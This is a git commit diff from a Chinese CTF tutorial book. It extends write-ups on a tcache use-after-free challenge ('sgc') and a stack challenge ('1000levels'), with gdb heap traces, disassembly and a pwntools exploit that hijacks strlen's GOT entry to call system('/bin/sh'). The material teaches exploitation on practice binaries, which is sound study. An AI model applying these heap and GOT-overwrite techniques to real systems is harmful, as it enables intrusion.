This commit is contained in:
firmianay 2018-04-18 22:15:42 +08:00
parent 17161e2099
commit c032c0aaf6
8 changed files with 453 additions and 61 deletions

View File

@ -92,6 +92,7 @@ GitHub 地址https://github.com/firmianay/CTF-All-In-One
* [4.12 利用 __stack_chk_fail](doc/4.12_stack_chk_fail.md) * [4.12 利用 __stack_chk_fail](doc/4.12_stack_chk_fail.md)
* [4.13 利用 _IO_FILE 结构](doc/4.13_io_file.md) * [4.13 利用 _IO_FILE 结构](doc/4.13_io_file.md)
* [4.14 glibc tcache 机制](doc/4.14_glibc_tcache.md) * [4.14 glibc tcache 机制](doc/4.14_glibc_tcache.md)
* [4.15 利用 vsyscall 和 vDSO](doc/4.15_vsyscall_vdso.md)
* [五、高级篇](doc/5_advanced.md) * [五、高级篇](doc/5_advanced.md)
* [5.0 软件漏洞分析](doc/5.0_vulnerability.md) * [5.0 软件漏洞分析](doc/5.0_vulnerability.md)
* [5.1 模糊测试](doc/5.1_fuzzing.md) * [5.1 模糊测试](doc/5.1_fuzzing.md)

View File

@ -2,6 +2,7 @@
- [常用插件](#常用插件) - [常用插件](#常用插件)
- [常用脚本](#常用脚本) - [常用脚本](#常用脚本)
- [技巧](#技巧)
## 常用插件 ## 常用插件
@ -27,9 +28,7 @@
## 常用脚本 ## 常用脚本
#### 内存 dump 脚本 #### 内存 dump 脚本
调试程序时偶尔会需要 dump 内存,但 IDA Pro 没有直接提供此功能,可以通过脚本来实现。 调试程序时偶尔会需要 dump 内存,但 IDA Pro 没有直接提供此功能,可以通过脚本来实现。
```python ```python
import idaapi import idaapi
@ -39,3 +38,15 @@ fp = open('path/to/dump', 'wb')
fp.write(data) fp.write(data)
fp.close() fp.close()
``` ```
## 技巧
#### 堆栈不平衡
某些函数在使用 f5 进行反编译时,会提示错误 "sp-analysis failed",导致无法正确反编译。原因可能是在代码执行中的 pop、push 操作不匹配,导致解析的时候 esp 发生错误。
解决办法步骤如下:
1. 用 Option->General->Disassembly, 将选项 Stack pointer 打钩
2. 仔细观察每条 call sub_xxxxxx 前后的堆栈指针是否平衡
3. 有时还要看被调用的 sub_xxxxxx 内部的堆栈情况,主要是看入栈的参数与 ret xx 是否匹配
4. 注意观察 jmp 指令前后的堆栈是否有变化
5. 有时用 Edit->Functions->Edit function...,然后点击 OK 刷一下函数定义

14
doc/4.15_vsyscall_vdso.md Normal file
View File

@ -0,0 +1,14 @@
# 4.15 利用 vsyscall 和 vDSO
- [CTF 实例](#ctf-实例)
- [参考资料](#参考资料)
## CTF 实例
例如章节 6.1.6 的 ret2vdso。
## 参考资料
- `man vdso`
- [Creating a vDSO: the Colonel's Other Chicken](https://www.linuxjournal.com/content/creating-vdso-colonels-other-chicken)

View File

@ -5,6 +5,9 @@ one-gadget RCE 是在 libc 中存在的一些执行 `execve('/bin/sh', NULL, NUL
可以使用工具 [one_gadget](https://github.com/david942j/one_gadget) 很方便地查找 one-gadget 可以使用工具 [one_gadget](https://github.com/david942j/one_gadget) 很方便地查找 one-gadget
``` ```
$ sudo gem install one_gadget
```
```
$ file /usr/lib/libc-2.26.so $ file /usr/lib/libc-2.26.so
/usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=466056d0995495995ad1a1fe696c9dc7fb3d421b, for GNU/Linux 3.2.0, not stripped /usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=466056d0995495995ad1a1fe696c9dc7fb3d421b, for GNU/Linux 3.2.0, not stripped
$ one_gadget -f /usr/lib/libc-2.26.so $ one_gadget -f /usr/lib/libc-2.26.so

View File

@ -14,3 +14,4 @@
- [4.12 利用 __stack_chk_fail](4.12_stack_chk_fail.md) - [4.12 利用 __stack_chk_fail](4.12_stack_chk_fail.md)
- [4.13 利用 _IO_FILE 结构](4.13_io_file.md) - [4.13 利用 _IO_FILE 结构](4.13_io_file.md)
- [4.14 glibc tcache 机制](4.14_glibc_tcache.md) - [4.14 glibc tcache 机制](4.14_glibc_tcache.md)
- [4.15 利用 vsyscall 和 vDSO](4.15_vsyscall_vdso.md)

View File

@ -2,7 +2,8 @@
- [题目复现](#题目复现) - [题目复现](#题目复现)
- [题目解析](#题目解析) - [题目解析](#题目解析)
- [Exploit](#exploit) - [Exploit one](#exploit-one)
- [Exploit two](#exploit-two)
- [参考资料](#参考资料) - [参考资料](#参考资料)
@ -15,8 +16,9 @@ sgc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, in
$ checksec -f sgc $ checksec -f sgc
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 sgc Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 sgc
$ file libc-2.26.so $ strings libc-2.26.so | grep "GNU C"
libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6d2b609f0c8e7b338f767b08c5ac712fac809d31, for GNU/Linux 3.2.0, stripped GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2) stable release version 2.26, by Roland McGrath et al.
Compiled by GNU CC version 6.4.0 20171010.
``` ```
一看 libc-2.26,请参考章节 4.14tcache 了解一下。然后程序开启了 Canary 和 NX。 一看 libc-2.26,请参考章节 4.14tcache 了解一下。然后程序开启了 Canary 和 NX。
@ -702,6 +704,11 @@ struct group *groups[0x60]; // 0x6023e0
- ref_count 类型为 uint8_t 且在修改组是不会减 1将导致溢出例如0x100 和 0x0使 GC 进行释放 group 的操作 - ref_count 类型为 uint8_t 且在修改组是不会减 1将导致溢出例如0x100 和 0x0使 GC 进行释放 group 的操作
- 如果有两个同名的 group两个 user 分别指向这两个 group那么释放其中一个 user 时,另一个也会被释放,造成 UAF - 如果有两个同名的 group两个 user 分别指向这两个 group那么释放其中一个 user 时,另一个也会被释放,造成 UAF
然后是关于 tcache 的问题。在这个程序中有两个线程thread-1 为主线程thread-2 为 GC 线程,它们都有自己的 tcache。程序中所有 chunk 的分配工作都由 thread-1 执行thread-2 只释放group和group_name不分配所以在它的 tcache bins 被装满以后所有该线程释放的 fast chunk 都被放进 fastbins 中。而 fastbins 是进程公用的,所以会被主线程在分配时使用。
## Exploit one
第一种方法,我们利用 ref_count 溢出的 UAF。
#### overflow #### overflow
首先我们来溢出 ref_count 首先我们来溢出 ref_count
```python ```python
@ -715,6 +722,88 @@ def overflow():
add_user('a'*8, 'A'*4) # overflow ref_count add_user('a'*8, 'A'*4) # overflow ref_count
sleep(2) # group_name and group freed by GC sleep(2) # group_name and group freed by GC
``` ```
首先说一下 for 循环,前几次当 thread-2 的 tcache 还未装满时,它的操作和下面类似(顺序可能不同):
```
user: malloc(24)=0x6033c0 <= thread-1 tcache
name: malloc(9)=0x6034a0
group_name: malloc(24)=0x6034c0
group: malloc(16)=0x6034e0
user: free(0x6033c0) => thread-1 tcache
group_name: free(0x6034c0) => thread-2 tcache
group: free(0x6034e0) => thread-2 tcache
```
当 thread-2 tcache 装满时,它释放的 chunk 都会被放进 fastbins于是就可以被 thread-1 取出,下面是第 4 和 第 5 次循环:
```
user: malloc(24)=0x6033c0 <= thread-1 tcache
name: malloc(9)=0x603500
group_name: malloc(24)=0x603520
group: malloc(16)=0x603540
user: free(0x6033c0) => thread-1 tcache
group_name: free(0x603520) => thread-2 tcache
group: free(0x603540) => fastbin
```
```
user: malloc(24)=0x6033c0 <= thread-1 tcache
name: malloc(9)=0x603540 <== fastbin
group_name: malloc(24)=0x603560
group: malloc(16)=0x603580
user: free(0x6033c0) => thread-1 tcache
group_name: free(0x603560) => fastbin
group: free(0x603580) => fastbin
```
此时的 thread-1 tcache 和 fastbin 如下所示:
```
tcache: 0x6033c0
fastbin: 0x603560 -> 0x603580
```
于是第 6 次循环,在第一次从 fastbin 中取出 chunk 后,剩余的 chunk 会被放入 thread-1 tcache逆序然后再从 tcache 里取FILO
```
user: malloc(24)=0x6033c0 <= tcache
name: malloc(9)=0x603580 <= fastbin (tcache: 0x603560)
group_name: malloc(24)=0x603560 <= tcache
group: malloc(16)=0x6035a0
user: free(0x6033c0) => tcache
group_name: free(0x603560) => fastbin
group: free(0x6035a0) => fastbin
```
再往后,其实都是重复这个过程。循环结束时的状态为:
```
gdb-peda$ x/4gx 0x6020e0
0x6020e0: 0x0000000000000000 0x0000000000000000 <-- users[]
0x6020f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx 0x6023e0
0x6023e0: 0x00000000006033a0 0x0000000000000000 <-- groups[]
0x6023f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/2gx 0x6033a0
0x6033a0: 0x0000000000603380 0x00000000000000ff <-- ref_count
gdb-peda$ x/2gx 0x603380
0x603380: 0x0000000041414141 0x0000000000000000 <-- group_name
```
```
tcache: 0x6033c0
fastbin: 0x603560 -> 0x6054c0
```
紧接着我们再添加一个 user导致 ref_count 溢出为 `0x100` 后,程序只有只有将低位的 `0x00` 放回 `ref_count`,于是 GC 会将 group_name 和 group struct 依次释放,放进 fastbin。
```
user: malloc(24)=0x6033c0 <= tcache
name: malloc(9)=0x6054c0 <= fastbin (tcache: 0x603560 ; fastbin: )
fake group_name: free(0x603380) => fastbin (tcache: 0x603560 ; fastbin: 0x603380)
fake group: free(0x6033a0) => fastbin (tcache: 0x603560 ; fastbin: 0x603380 -> 0x6033a0)
group_name: malloc(24)=0x603560 <= tcache (tcache: ; fastbin: 0x603380 -> 0x6033a0)
group: malloc(16)=0x6033a0 <= fastbin (tcache: 0x603380 ; fastbin: )
```
最终结果为:
``` ```
gdb-peda$ x/4gx 0x6020e0 gdb-peda$ x/4gx 0x6020e0
0x6020e0: 0x00000000006033c0 0x0000000000000000 <-- users[] 0x6020e0: 0x00000000006033c0 0x0000000000000000 <-- users[]
@ -724,17 +813,18 @@ gdb-peda$ x/4gx 0x6023e0
0x6023f0: 0x0000000000000000 0x0000000000000000 0x6023f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/3gx 0x6033c0 gdb-peda$ x/3gx 0x6033c0
0x6033c0: 0x0000000000000003 0x00000000006054c0 <-- users[0] 0x6033c0: 0x0000000000000003 0x00000000006054c0 <-- users[0]
0x6033d0: 0x0000000000603380 <-- users[0]->group 0x6033d0: 0x0000000000603380 <-- users[0]->group
gdb-peda$ x/2gx 0x603380 gdb-peda$ x/2gx 0x603380
0x603380: 0x0000000000000000 0x0000000000000000 <-- group_name <-- ref_count 0x603380: 0x0000000000000000 0x0000000000000000 <-- ref_count
``` ```
可以看到,当我们将 ref_count 溢出为 `0x100` 后,程序只有只有将地位的 `0x00` 放回 `ref_count`,于是 GC 会将 group_name 和 group struct 依次释放,并将 groups[0] 赋值为 0表现为 groups[] 为空。但 users[0] 依然存在users[0]->group 依然指向 `group_name``0x603380`),悬指针产生。
最后将 groups[0] 赋值为 0表现为 groups[] 为空。但 users[0] 依然存在users[0]->group 依然指向 `group_name``0x603380`),悬指针产生。
#### uaf and leak #### uaf and leak
接下来利用悬指针泄漏 libc 的地址: 接下来利用悬指针泄漏 libc 的地址:
```python ```python
def leak(): def leak():
add_user('b'*32, 'B'*4) # group add_user('b'*8, 'B'*4) # group
strlen_got = elf.got['strlen'] strlen_got = elf.got['strlen']
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got)) edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
@ -747,7 +837,11 @@ def leak():
return system_addr return system_addr
``` ```
首先添加一个 user神奇的是这个 user struct 正好就是被释放的 group所以修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去,在延迟绑定之后,它将指向 strlen 函数的地址,如下所示: 在执行该函数前的 tcache 如下:
```
tcache: 0x603380
```
当我们添加一个 user 时,因为 group "BBBB" 不存在,所以首先创建一个 group然后再创建 user这个 user struct 将从 thread-1 tcache 中取出。接下来我们修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去,在延迟绑定之后,它将指向 strlen 函数的地址,如下所示:
``` ```
gdb-peda$ x/4gx 0x6020e0 gdb-peda$ x/4gx 0x6020e0
0x6020e0: 0x00000000006033c0 0x0000000000603380 <-- users[] 0x6020e0: 0x00000000006033c0 0x0000000000603380 <-- users[]
@ -809,54 +903,6 @@ gdb-peda$ x/gx 0x602030
gdb-peda$ p system gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system> $1 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
``` ```
```
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffec20 --> 0x68732f6e69622f ('/bin/sh')
RBX: 0x2
RCX: 0x7ffff7dd2c20 --> 0x0
RDX: 0x3
RSI: 0x0
RDI: 0x7fffffffec20 --> 0x68732f6e69622f ('/bin/sh')
RBP: 0x7fffffffed40 --> 0x7fffffffed70 --> 0x4015b0 (push r15)
RSP: 0x7fffffffebc8 --> 0x400f2c (add eax,0x1)
RIP: 0x400960 (<strlen@plt>: jmp QWORD PTR [rip+0x2016ca] # 0x602030)
R8 : 0x0
R9 : 0x605510 --> 0x3
R10: 0xffffffffffffffb0
R11: 0x7ffff7b86b40 --> 0x2000200020002
R12: 0x400a60 (xor ebp,ebp)
R13: 0x7fffffffee50 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400950 <puts@plt>: jmp QWORD PTR [rip+0x2016d2] # 0x602028
0x400956 <puts@plt+6>: push 0x2
0x40095b <puts@plt+11>: jmp 0x400920
=> 0x400960 <strlen@plt>: jmp QWORD PTR [rip+0x2016ca] # 0x602030
| 0x400966 <strlen@plt+6>: push 0x3
| 0x40096b <strlen@plt+11>: jmp 0x400920
| 0x400970 <__stack_chk_fail@plt>: jmp QWORD PTR [rip+0x2016c2] # 0x602038
| 0x400976 <__stack_chk_fail@plt+6>: push 0x4
|-> 0x7ffff7a3fdc0 <system>: test rdi,rdi
0x7ffff7a3fdc3 <system+3>: je 0x7ffff7a3fdd0 <system+16>
0x7ffff7a3fdc5 <system+5>: jmp 0x7ffff7a3f820
0x7ffff7a3fdca <system+10>: nop WORD PTR [rax+rax*1+0x0]
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffebc8 --> 0x400f2c (add eax,0x1)
0008| 0x7fffffffebd0 --> 0x400a60 (xor ebp,ebp)
0016| 0x7fffffffebd8 --> 0x27fffffffee50
0024| 0x7fffffffebe0 --> 0x3
0032| 0x7fffffffebe8 --> 0x6033a0 --> 0x603560 --> 0x42424242 ('BBBB')
0040| 0x7fffffffebf0 --> 0x33 ('3')
0048| 0x7fffffffebf8 --> 0x7ffff7a54e36 (<printf+166>: mov rcx,QWORD PTR [rsp+0x18])
0056| 0x7fffffffec00 --> 0x42424242 ('BBBB')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400960 in strlen@plt ()
```
#### exploit #### exploit
完整的 exp 如下: 完整的 exp 如下:
@ -907,7 +953,7 @@ def overflow():
sleep(2) # group_name and group freed by GC sleep(2) # group_name and group freed by GC
def leak(): def leak():
add_user('b'*32, 'B'*4) # group add_user('b'*8, 'B'*4) # group
strlen_got = elf.got['strlen'] strlen_got = elf.got['strlen']
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got)) edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
@ -934,6 +980,17 @@ if __name__ == "__main__":
pwn() pwn()
``` ```
虽然这一切看起来都没有问题,但我在运行的时候 system('/bin/sh') 却执行失败了,应该是我的 /bin/sh 不能使用这个 libc 的原因:
```
LD_PRELOAD=./libc-2.26.so /bin/sh
[1] 14834 segmentation fault (core dumped) LD_PRELOAD=./libc-2.26.so /bin/sh
```
应该换成 Ubuntu-17.10 试试。本机Arch
## Exploit two
第二种方法,我们利用两个具有同名 group 的 user 释放时的 UAF。这种方法似乎与 tcache 的关系更大一点。
## 参考资料 ## 参考资料
- https://ctftime.org/task/5137 - https://ctftime.org/task/5137

View File

@ -15,14 +15,319 @@ $ file 1000levels
$ checksec -f 1000levels $ checksec -f 1000levels
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 6 1000levels Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 6 1000levels
$ strings libc.so.6 | grep -i ubuntu $ strings libc.so.6 | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al. GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
``` ```
关闭了 Canary开启 NX 和 PIE。于是猜测可能是栈溢出但需要绕过 ASLR。not stripped 可以说是很开心了。
玩一下:
```
$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
1
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
Great job! You finished 1 levels in 1 seconds
```
Go 的功能看起来就是让你先输入一个数,然后再输入一个数,两个数相加作为 levels然后让你做算术。
但是很奇怪的是,如果你使用了 Hint 功能,然后第一个数输入了 0 的时候,无论第二个数是多少,仿佛都会出现无限多的 levels
```
$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
2
NO PWN NO FUN
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
1
More levels than before!
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
====================================================
Level 2
Question: 1 * 1 = ? Answer:1
====================================================
Level 3
Question: 1 * 1 = ? Answer:1
====================================================
Level 4
Question: 3 * 1 = ? Answer:
```
所以应该重点关注一下 Hint 功能。
## 题目解析 ## 题目解析
程序比较简单,基本上只有 Go 和 Hint 两个功能。
#### go
```
[0x000009d0]> pdf @ sym.go
/ (fcn) sym.go 372
| sym.go ();
| ; var int local_120h @ rbp-0x120
| ; var int local_118h @ rbp-0x118
| ; var int local_114h @ rbp-0x114
| ; var int local_110h @ rbp-0x110
| ; var int local_108h @ rbp-0x108
| ; CALL XREF from 0x00000f9f (main)
| 0x00000b7c push rbp
| 0x00000b7d mov rbp, rsp
| 0x00000b80 sub rsp, 0x120
| 0x00000b87 lea rdi, str.How_many_levels ; 0x1094 ; "How many levels?"
| 0x00000b8e call sym.imp.puts ; int puts(const char *s)
| 0x00000b93 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00000b98 mov qword [local_120h], rax ; 将第一个数放进 local_120h
| 0x00000b9f mov rax, qword [local_120h]
| 0x00000ba6 test rax, rax
| ,=< 0x00000ba9 jg 0xbb9
| | 0x00000bab lea rdi, str.Coward ; 0x10a5 ; "Coward"
| | 0x00000bb2 call sym.imp.puts ; int puts(const char *s)
| ,==< 0x00000bb7 jmp 0xbc7
| || ; JMP XREF from 0x00000ba9 (sym.go)
| |`-> 0x00000bb9 mov rax, qword [local_120h]
| | 0x00000bc0 mov qword [local_110h], rax
| | ; JMP XREF from 0x00000bb7 (sym.go)
| `--> 0x00000bc7 lea rdi, str.Any_more ; 0x10ac ; "Any more?"
| 0x00000bce call sym.imp.puts ; int puts(const char *s)
| 0x00000bd3 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00000bd8 mov qword [local_120h], rax
| 0x00000bdf mov rdx, qword [local_110h]
| 0x00000be6 mov rax, qword [local_120h]
| 0x00000bed add rax, rdx ; '('
| 0x00000bf0 mov qword [local_110h], rax
| 0x00000bf7 mov rax, qword [local_110h]
| 0x00000bfe test rax, rax
| ,=< 0x00000c01 jg 0xc14
| | 0x00000c03 lea rdi, str.Coward ; 0x10a5 ; "Coward"
| | 0x00000c0a call sym.imp.puts ; int puts(const char *s)
| ,==< 0x00000c0f jmp 0xcee
| |`-> 0x00000c14 mov rax, qword [local_110h]
| | 0x00000c1b cmp rax, 0x3e7
| |,=< 0x00000c21 jle 0xc3c
| || 0x00000c23 lea rdi, str.More_levels_than_before ; 0x10b6 ; "More levels than before!"
| || 0x00000c2a call sym.imp.puts ; int puts(const char *s)
| || 0x00000c2f mov qword [local_108h], 0x3e8
| ,===< 0x00000c3a jmp 0xc4a
| ||| ; JMP XREF from 0x00000c21 (sym.go)
| ||`-> 0x00000c3c mov rax, qword [local_110h]
| || 0x00000c43 mov qword [local_108h], rax
| || ; JMP XREF from 0x00000c3a (sym.go)
| `---> 0x00000c4a lea rdi, str.Let_s_go ; 0x10cf ; "Let's go!'"
| | 0x00000c51 call sym.imp.puts ; int puts(const char *s)
| | 0x00000c56 mov edi, 0
| | 0x00000c5b call sym.imp.time ; time_t time(time_t *timer)
| | 0x00000c60 mov dword [local_118h], eax
| | 0x00000c66 mov rax, qword [local_108h]
| | 0x00000c6d mov edi, eax
| | 0x00000c6f call sym.level_int ; 进入计算题游戏
| | 0x00000c74 test eax, eax
| | 0x00000c76 setne al
| | 0x00000c79 test al, al
| |,=< 0x00000c7b je 0xcd8
| || 0x00000c7d mov edi, 0
| || 0x00000c82 call sym.imp.time ; time_t time(time_t *timer)
| || 0x00000c87 mov dword [local_114h], eax
| || 0x00000c8d mov edx, dword [local_114h]
| || 0x00000c93 mov eax, dword [local_118h]
| || 0x00000c99 sub edx, eax
| || 0x00000c9b mov rax, qword [local_108h]
| || 0x00000ca2 lea rcx, [local_120h]
| || 0x00000ca9 lea rdi, [rcx + 0x20] ; "@"
| || 0x00000cad mov ecx, edx
| || 0x00000caf mov rdx, rax
| || 0x00000cb2 lea rsi, str.Great_job__You_finished__d_levels_in__d_seconds ; 0x10e0 ; "Great job! You finished %d levels in %d seconds\n"
| || 0x00000cb9 mov eax, 0
| || 0x00000cbe call sym.imp.sprintf ; int sprintf(char *s,
| || 0x00000cc3 lea rax, [local_120h]
| || 0x00000cca add rax, 0x20
| || 0x00000cce mov rdi, rax
| || 0x00000cd1 call sym.imp.puts ; int puts(const char *s)
| ,===< 0x00000cd6 jmp 0xce4
| ||| ; JMP XREF from 0x00000c7b (sym.go)
| ||`-> 0x00000cd8 lea rdi, str.You_failed. ; 0x1111 ; "You failed."
| || 0x00000cdf call sym.imp.puts ; int puts(const char *s)
| || ; JMP XREF from 0x00000cd6 (sym.go)
| `---> 0x00000ce4 mov edi, 0
| | 0x00000ce9 call sym.imp.exit ; void exit(int status)
| | ; JMP XREF from 0x00000c0f (sym.go)
| `--> 0x00000cee leave
\ 0x00000cef ret
```
计算题游戏的函数 `sym.level_int()` 如下:
```
[0x000009d0]> pdf @ sym.level_int
/ (fcn) sym.level_int 289
| sym.level_int ();
| ; var int local_34h @ rbp-0x34
| ; var int local_30h @ rbp-0x30
| ; var int local_28h @ rbp-0x28
| ; var int local_20h @ rbp-0x20
| ; var int local_18h @ rbp-0x18
| ; var int local_10h @ rbp-0x10
| ; var int local_ch @ rbp-0xc
| ; var int local_8h @ rbp-0x8
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000c6f (sym.go)
| ; CALL XREF from 0x00000e70 (sym.level_int)
| 0x00000e2d push rbp
| 0x00000e2e mov rbp, rsp
| 0x00000e31 sub rsp, 0x40 ; '@'
| 0x00000e35 mov dword [local_34h], edi
| 0x00000e38 mov qword [local_30h], 0
| 0x00000e40 mov qword [local_28h], 0
| 0x00000e48 mov qword [local_20h], 0
| 0x00000e50 mov qword [local_18h], 0
| 0x00000e58 cmp dword [local_34h], 0
| ,=< 0x00000e5c jne 0xe68
| | 0x00000e5e mov eax, 1
| ,==< 0x00000e63 jmp 0xf4c
| || ; JMP XREF from 0x00000e5c (sym.level_int)
| |`-> 0x00000e68 mov eax, dword [local_34h]
| | 0x00000e6b sub eax, 1
| | 0x00000e6e mov edi, eax
| | 0x00000e70 call sym.level_int
| | 0x00000e75 test eax, eax
| | 0x00000e77 sete al
| | 0x00000e7a test al, al
| |,=< 0x00000e7c je 0xe88
| || 0x00000e7e mov eax, 0
| ,===< 0x00000e83 jmp 0xf4c
| ||| ; JMP XREF from 0x00000e7c (sym.level_int)
| ||`-> 0x00000e88 call sym.imp.rand ; int rand(void)
| || 0x00000e8d cdq
| || 0x00000e8e idiv dword [local_34h]
| || 0x00000e91 mov dword [local_8h], edx
| || 0x00000e94 call sym.imp.rand ; int rand(void)
| || 0x00000e99 cdq
| || 0x00000e9a idiv dword [local_34h]
| || 0x00000e9d mov dword [local_ch], edx
| || 0x00000ea0 mov eax, dword [local_8h]
| || 0x00000ea3 imul eax, dword [local_ch]
| || 0x00000ea7 mov dword [local_10h], eax
| || 0x00000eaa lea rdi, str. ; 0x1160 ; "===================================================="
| || 0x00000eb1 call sym.imp.puts ; int puts(const char *s)
| || 0x00000eb6 mov eax, dword [local_34h]
| || 0x00000eb9 mov esi, eax
| || 0x00000ebb lea rdi, str.Level__d ; 0x1195 ; "Level %d\n"
| || 0x00000ec2 mov eax, 0
| || 0x00000ec7 call sym.imp.printf ; int printf(const char *format)
| || 0x00000ecc mov edx, dword [local_ch]
| || 0x00000ecf mov eax, dword [local_8h]
| || 0x00000ed2 mov esi, eax
| || 0x00000ed4 lea rdi, str.Question:__d____d_____Answer: ; 0x119f ; "Question: %d * %d = ? Answer:"
| || 0x00000edb mov eax, 0
| || 0x00000ee0 call sym.imp.printf ; int printf(const char *format)
| || 0x00000ee5 lea rax, [local_30h]
| || 0x00000ee9 mov edx, 0x400
| || 0x00000eee mov rsi, rax
| || 0x00000ef1 mov edi, 0
| || 0x00000ef6 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| || 0x00000efb mov dword [local_4h], eax
| || ; JMP XREF from 0x00000f16 (sym.level_int)
| ||.-> 0x00000efe mov eax, dword [local_4h]
| ||: 0x00000f01 and eax, 7
| ||: 0x00000f04 test eax, eax
| ,====< 0x00000f06 je 0xf18
| |||: 0x00000f08 mov eax, dword [local_4h]
| |||: 0x00000f0b cdqe
| |||: 0x00000f0d mov byte [rbp + rax - 0x30], 0
| |||: 0x00000f12 add dword [local_4h], 1
| |||`=< 0x00000f16 jmp 0xefe
| ||| ; JMP XREF from 0x00000f06 (sym.level_int)
| `----> 0x00000f18 lea rax, [local_30h]
| || 0x00000f1c mov edx, 0xa
| || 0x00000f21 mov esi, 0
| || 0x00000f26 mov rdi, rax
| || 0x00000f29 call sym.imp.strtol ; long strtol(const char *str, char**endptr, int base)
| || 0x00000f2e mov rdx, rax
| || 0x00000f31 mov eax, dword [local_10h]
| || 0x00000f34 cdqe
| || 0x00000f36 cmp rdx, rax
| || 0x00000f39 sete al
| || 0x00000f3c test al, al
| ||,=< 0x00000f3e je 0xf47
| ||| 0x00000f40 mov eax, 1
| ,====< 0x00000f45 jmp 0xf4c
| |||| ; JMP XREF from 0x00000f3e (sym.level_int)
| |||`-> 0x00000f47 mov eax, 0
| ||| ; JMP XREF from 0x00000f45 (sym.level_int)
| ||| ; JMP XREF from 0x00000e83 (sym.level_int)
| ||| ; JMP XREF from 0x00000e63 (sym.level_int)
| ```--> 0x00000f4c leave
\ 0x00000f4d ret
```
#### hint
```
[0x000009d0]> pdf @ sym.hint
/ (fcn) sym.hint 140
| sym.hint ();
| ; var int local_110h @ rbp-0x110
| ; CALL XREF from 0x00000fa6 (main)
| 0x00000cf0 push rbp
| 0x00000cf1 mov rbp, rsp
| 0x00000cf4 sub rsp, 0x110
| 0x00000cfb mov rax, qword [reloc.system] ; [0x201fd0:8]=0
| 0x00000d02 mov qword [local_110h], rax
| 0x00000d09 lea rax, obj.show_hint ; 0x20208c
| 0x00000d10 mov eax, dword [rax]
| 0x00000d12 test eax, eax
| ,=< 0x00000d14 je 0xd41
| | 0x00000d16 mov rax, qword [local_110h]
| | 0x00000d1d lea rdx, [local_110h]
| | 0x00000d24 lea rcx, [rdx + 8]
| | 0x00000d28 mov rdx, rax
| | 0x00000d2b lea rsi, str.Hint:__p ; 0x111d ; "Hint: %p\n"
| | 0x00000d32 mov rdi, rcx
| | 0x00000d35 mov eax, 0
| | 0x00000d3a call sym.imp.sprintf ; int sprintf(char *s,
| ,==< 0x00000d3f jmp 0xd66
| || ; JMP XREF from 0x00000d14 (sym.hint)
| |`-> 0x00000d41 lea rax, [local_110h]
| | 0x00000d48 add rax, 8
| | 0x00000d4c movabs rsi, 0x4e204e5750204f4e
| | 0x00000d56 mov qword [rax], rsi
| | 0x00000d59 mov dword [rax + 8], 0x5546204f ; [0x5546204f:4]=-1
| | 0x00000d60 mov word [rax + 0xc], 0x4e ; 'N' ; [0x4e:2]=0
| | ; JMP XREF from 0x00000d3f (sym.hint)
| `--> 0x00000d66 lea rax, [local_110h]
| 0x00000d6d add rax, 8
| 0x00000d71 mov rdi, rax
| 0x00000d74 call sym.imp.puts ; int puts(const char *s)
| 0x00000d79 nop
| 0x00000d7a leave
\ 0x00000d7b ret
```
## Exploit ## Exploit
## 参考资料 ## 参考资料
- https://ctftime.org/task/4539 - https://ctftime.org/task/4539

View File

@ -44,7 +44,7 @@ def overflow():
sleep(2) # group_name and group freed by GC sleep(2) # group_name and group freed by GC
def leak(): def leak():
